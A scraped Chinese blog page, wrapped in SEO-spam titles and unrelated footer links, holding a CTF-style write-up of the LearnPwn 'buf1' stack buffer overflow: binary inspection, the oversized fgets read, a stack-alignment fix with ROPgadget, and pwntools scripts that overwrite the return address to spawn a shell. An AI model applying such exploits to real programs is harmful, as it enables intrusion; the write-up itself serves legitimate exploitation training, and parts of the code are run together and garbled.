当前位置: 首页 > news >正文

信息技术网站建设专业百度联系方式

信息技术网站建设专业,百度联系方式,合肥公司网站开发,会展中心网站建设github上面的练习题 git clone https://github.com/Adamkadaban/LearnPwn 然后开始做 先进行 readelf 然后进行执行看看 是怎么回事 ./buf1发现就是一个输入和输出 我们checksec看看 发现stack 保护关闭 开启了NX保护 我们进入ida64看看反汇编 我习惯先看看字符串 SHITF…

github上面的练习题

git clone https://github.com/Adamkadaban/LearnPwn

然后开始做

先进行 readelf

 然后进行执行看看 是怎么回事

./buf1

 发现就是一个输入和输出

我们checksec看看

 发现stack 保护关闭 开启了NX保护

我们进入ida64看看反汇编

我习惯先看看字符串 SHITF+F12

发现/bin/sh

我们先去主函数看看有什么漏洞

进入一个函数 getName

 我们能看见 给了一个数组

然后下面又有一个fgets函数

fget()和get不同 不会无限输入

但是这里fgets 发现读取的大小为100 但是我们的s 只有15

这里我们就可以进行写入 因为他要读取 所以我们

可以把s和rbp填满垃圾字符 然后返回到shellcode地址

fget()
会读取指针所指的 并且大小限制的 
如果我们溢出字符串 将s和rbp覆盖了 后面就还有很大的空间 我们可以进行构造
因为返回的是100 所以我们构造的 他还是会直接返回 执行

 

类似这个 我们在覆盖了buf 和ret后 就可以进行构造了 因为他会读取100

shellcode地址我们很容易就发现

 exp

from pwn import *
p = process('./buf1')
payload=b'A'*(0xf+0x8)+p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x4011BC)
p.sendline(payload)
p.interactive()

 问题 出现 code -11

他原本自带了 exp

但是我发现执行不了

我们进行排查后发现是栈不对齐

我们gdb看看

 

我们发现 这里他

mov eax,0
pop rbp
retpush rbp

执行力三条才到 rbp 这里就导致我们报错

我们该如何解决呢

我们自己设置返回即可

ROPgadget --binary ./buf1 --only 'pop|ret'

 使用这个寄存器 直接设置返回即可

#!/bin/python3from pwn import *p = process('./buf1')
e = ELF('./buf1') # This imports all the symbols in the binary# context.log_level = 'debug'offset = 0x7fffffffdfe8 - 0x7fffffffdfd1 # $rbp - $(locationOfInput)
loc = p64(e.symbols['openShell']) # \xcf\x11payload = b'A'*offset
payload +=p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)
payload +=locp.sendline(payload) # We send 0x17 (or 23) bytes of data because that was how far away from the stack pointer our variable wasp.interactive()

 

http://www.sczhlp.com/news/17351/

相关文章:

  • 网站联合推广方案班级优化大师电脑版
  • wordpress 做后台合肥百度快速排名优化
  • 哪里学做网站中国行业数据分析网
  • 山西省网站建设价格seo薪酬如何
  • 本科自考什么机构比较正规网站seo推广计划
  • 贵港网站建设兼职百度开户要多少钱
  • 免费发布信息网站大全下载安装国家免费培训网站
  • 做网站申请域名今天全国疫情最新消息
  • 网站建设推广平台微信软文
  • 长沙的汽车网站建设上海seo优化bwyseo
  • 条码打印之单位转换
  • 纯Qt结合ffmpeg实现本地摄像头采集/桌面采集/应用程序窗口采集/指定采集帧率和分辨率等
  • Spring Boot 自定义线程池
  • 做网站分析百度推广课程
  • 个人博客网站开发的意义合肥新闻 今天 最新消息
  • 宁波做网站建设推广免费html网站模板
  • 如何建设新闻网站网页设计模板html代码
  • 做网站的步骤流程seo外包收费
  • 承德网站建设方案域名推荐
  • 宁波微信推广平台哪个好重庆seo小潘大神
  • macbook air做网站关键词挖掘排名
  • 网站被泛解析网站搭建公司
  • 新网站没有死链接怎么做今日头条搜索优化
  • 可以为自己的小说建设网站营销型网站方案
  • 用java做的网站播不了视频长沙关键词优化费用
  • 专业建设汇报ppt淘宝seo 优化软件
  • 网站开发运行环境市场营销培训课程
  • 从AI调用到AI智能体:全面解析三种AI应用的技术架构
  • 数组以及迭代的练习
  • 网站排名软件推荐网络营销实践总结报告